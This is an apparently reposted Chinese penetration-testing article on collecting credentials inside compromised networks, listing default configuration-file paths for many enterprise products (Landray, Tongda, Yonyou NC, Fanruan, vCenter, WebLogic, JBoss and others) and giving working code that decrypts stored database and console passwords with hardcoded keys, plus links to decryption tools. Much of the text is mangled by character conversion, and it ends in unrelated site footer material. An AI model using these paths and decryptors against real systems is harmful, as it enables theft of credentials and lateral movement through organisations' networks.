importcn.hutool.crypto.SecureUtil;


importcn.hutool.crypto.symmetric.DES;


importjava.nio.file.Files;


importjava.nio.file.Path;


importjava.nio.file.Paths;


publicclassMain{


publicstaticString decrypt( byte[] bytes, String key) {


DESdes=SecureUtil.des(key.getBytes);


returndes.decryptStr(bytes, CharsetUtil.charset( "gb2312"));


}


publicstaticvoidmain(String[] args) throwsException {


Pathpath=Paths.get( "D:\\Users\\Shmily\\Desktop\\kmssconfig.properties");


byte[] bytes = Files.readAllBytes(path);


Stringresult=decrypt(bytes, "kmssPropertiesKey");


System.out.println(result);


}


}


数据库用户密码解密 用户表:sys_org_person 前台用户在/login.jsp登陆时运用的密码运用了md5和DES两种加密方式存在数据库中,其运用DES算法为DES-CBE,密钥为kmssPropertiesKey。

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


f5a2cb7dffa11bec2fe1615b2ad6676.png


解密工具:https://github.com/zhutougg/LandrayDES

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


image.png 万户OA


数据库配置文件默许位置:


D:/jboss/jboss-as/server/oa/deploy/defaultroot.war/WEB-INF/config/whconfig.xml


D:/jboss/jboss-as/server/oa/deploy/defaultroot.war/WEB-INF/classes/fc.properties


/WEB-INF/config/ezoffice/config.xml


/jboss-as/server/oa/deploy /*-ds.xml //星号为细致数据库好比mssql、oracle

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


通达OA


数据库配置文件默许位置:


C:\MYOA\mysql5\my.ini


C:\MYOA\webroot\inc\oa_config.php


C:\MYOA\bin\Service.ini

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


用友NC


数据库配置文件默许位置:


/nchome/ierp/bin/prop.xml

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


用友数据库解密,工具下载地址:https://github.com/jas502n/ncDecode


金和OA


数据库默许配置文件:


D:\apache-tomcat-6.0.53\webapps\jc6\WEB-INF\classes\db.properties 心通达


数据库默许配置文件:


/webapps/ROOT/WEB-INF/classes/jdbc-sql.propertie

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


image.png 帆软


数据库默许配置文件:


\WEB-INF\resources\privilege.xml


解密代码:


cipher = input( "输入密文:\n") # 密文


PASSWORD_MASK_ARRAY = [ 19, 78, 10, 15, 100, 213, 43, 23]


password = ""


cipher = cipher[ 3:]


fori inrange( int( len(cipher) / 4)):


c1 = int( "0x"+ cipher[i * 4:(i + 1) * 4], 16)


c2 = c1 ^ PASSWORD_MASK_ARRAY[i % 8]


password = password + chr(c2)


print( "明文密码:\n"+password) image.png Confluence


数据库默许配置文件:


/ var/atlassian/confluenc/confluence.cfg.xml vCenter


数据库默许配置文件:


Windows默许途径:


C:\ProgramData\VMware\vCenterServer\cfg\vmware-vps\vcdb.properties


Linux途径:


/etc/vmware-vpx/vcdb.properties


/etc/vmware/service-state/vpxd/vcdb.properties

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


金蝶金蝶EAS


数据库默许配置文件:


...\runtime\apusic\domains\server1\config\datasources.xml


D:/Kingdee/eas/server/properties/datacenters.xml 华三IMC


数据库默许配置文件:


common\conf\server-addr.xml

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


中心算法:经过将去掉-符号的值加上数组的下标值乘上16取余256,接着把获取到的值b与255中止比较,大于255的中止b-256的操作后赋值给b,紧接着中止ASCII转换。最后判别结尾能否为” ~~”,是的话就去掉,最后去掉最后两位。解密代码:


str= "-115-97-76-67-49-28-30-14"


ifstr.startswith( '-'):


strs = []


bytess = []


strs = str[ 1: 24].split( '-')


i = 0


fori inrange( len(strs)- 2):


try:


strsint = int(strs[i])


b = strsint + i * 16% 256


ifb > 255:


b = b - 256


str1 = chr(b)


ifnotstr1.endswith( "~~"):


bytess.append( chr(b))


except:


pass


i = i + 1


print( "密码:"+ ''.join(bytess))


else:


print( "密文格式错误!")


print( "格式应为:-112-81-83-67-55-20-30-1") image.png 联软 IT 保险运维


数据库默许配置文件:


/home/leagsoft/LeagView/Ini/odbc.ini


/home/leagsoft/LeagView/Ini/Server.ini


/etc/postgresql/ 9.1/auditdb/postgresql.conf 中间件T omcat数据库


数据库配置文件:


WEB-INF/classes/application.properties

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


实战中遇见的tomcat常见数据库配置文件名:


db.properties


jdbc.properties


dbpool.properties


config.properties


sso-config.properties


minaconfig.properties


missCallAlertExclude.properties


url_img.properties


webapp.properties


Proxool.properties


application.properties 控制台


tomcat控制台账号密码:


/conf/tomcat-users.xml A ctiveMQ


配置了认证的状况:


登录密码寄存途径:


/apache-activemq/conf/jetty-realm.properties

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


W eblogic


WebLogic 11gR1后采用了AES的加密方式,之前的版本采用的DES加密方式。每个Weblogic app的加密key都是随机生成的,所以不同效劳器以至同效劳器不同应用上的weblogic都是用不同的密码加密的。


Weblogic控制台密码解密


查找boot.properties文件:


weblogic/user_projects/domains/base_domain/servers/AdminServer/security/boot.properties


查找SerializedSystemIni.dat文件,其中包含了解密key:


weblogic/user_projects/domains/base_domain/security/SerializedSystemIni.dat

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


解密工具:https://github.com/Ch1ngg/WebLogicPasswordDecryptorUi


Nodemanager密码解密


查找config.xml文件


/weblogic/user_projects/domains/base_domain/config/config.xml

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


数据库密码解密


查找jdbc相关文件


/weblogic/Oracle/Middleware/user_projects/domains/base_domain/config/jdbc/xxx-jdbc.xml

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


胜利解密


JBOSS


JBoss运用blowfish加密算法,解密key为硬编码的jaas is the way。数据库配置默许目录:


%JBOSS_HOME%\server\%appname%\deploy\oracle-ds.xml


%JBOSS_HOME%\server\%appname%\deploy\mysql-ds.xml


在没有加密的状况下,密码是明文:


<jndi-name>OracleDS</jndi-name> //jndi名字


<use-java-context>false</use-java-context>


<connection-url>jdbc:oracle:thin:@localhost:1521:orcl</connection-url> //URL地址


<driver-class>oracle.jdbc.driver.OracleDriver</driver-class> //驱动


<user-name>root</user-name> //用户名


<password>123456</password> //密码


在配置完密码加密后,加密后的密码存在jboss目录的conf/login-config.xml文件里:


<application-policy name="EncryptDBPassword">


<authentication>


<login-module code="org.jboss.resource.security.SecureIdentityLoginModule" flag="required">


<module-option name="username">admin</module-option>


<module-option name="password">5dfc52b51bd35553df8592078de921bc</module-option>


<module-option name="managedConnectionFactoryName">jboss.jca:name=PostgresDS,service=LocalTxCM</module-option> </login-module>


</authentication>


</application-policy>


JBoss加密和解密代码:


importjava.math.BigInteger;


/*


* JBoss.java - Blowfish encryption/decryption tool with JBoss default password


* Daniel Martin Gomez <daniel @ ngssoftware.com> - 03/Sep/2009


*


* This file may be used under the terms of the GNU General Public License


* version 2.0 as published by the Free Software Foundation:


* http://www.gnu.org/licenses/gpl-2.0.html


*/


importjavax.crypto.*;


importjavax.crypto.spec.SecretKeySpec;


publicclassMain{


publicstaticvoidmain(String[] args) throwsException {


if((args.length != 2) ||


!(args[ 0].equals( "-e") | args[ 0].equals( "-d"))) {


System.out.println(


"Usage:\n\tjava JBoss <-e|-d> <encrypted_password>");


return;


}


Stringmode=args[ 0];


byte[] kbytes = "jaas is the way".getBytes;


SecretKeySpeckey=newSecretKeySpec(kbytes, "Blowfish");


Ciphercipher=Cipher.getInstance( "Blowfish");


Stringout=null;


if(mode.equals( "-e")) {


Stringsecret=args[ 1];


cipher.init(Cipher.ENCRYPT_MODE, key);


byte[] encoding = cipher.doFinal(secret.getBytes);


out = newBigInteger(encoding).toString( 16);


} else{


BigIntegersecret=newBigInteger(args[ 1], 16);


cipher.init(Cipher.DECRYPT_MODE, key);


byte[] encoding = cipher.doFinal(secret.toByteArray);


out = newString(encoding);


}


System.out.println(out);


}


}


在线解密:https://www.json.cn/runcode/run_java/

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


image.png 援用链接


原创稿件征集


征集原创技术文章中,欢送投递


投稿邮箱:edu@antvsion.com


文章类型:黑客极客技术、信息保险热点保险研讨剖析保险相关


经过审核并发布能收获200-800元不等的稿酬。


更多详情,点我查看!


靶场实操,戳“阅读原文“



路过

雷人

握手

鲜花

鸡蛋
已有 0 人参与

会员评论

文章排行

  • 阅读
  • 评论

最新文章

文章列表

 名表回收网手机版

官网微博:名表回收网服务平台

今日头条二维码 1 微信公众号二维码 1 抖音小程序二维码 1
浙江速典奢贸易有限公司 网站经营许可证 备案号:浙ICP备19051835号2012-2022
名表回收网主要专注于手表回收,二手名表回收/销售业务,可免费鉴定(手表真假),评估手表回收价格,正规手表回收公司,浙江实体店,支持全国范围上门回收手表
返回顶部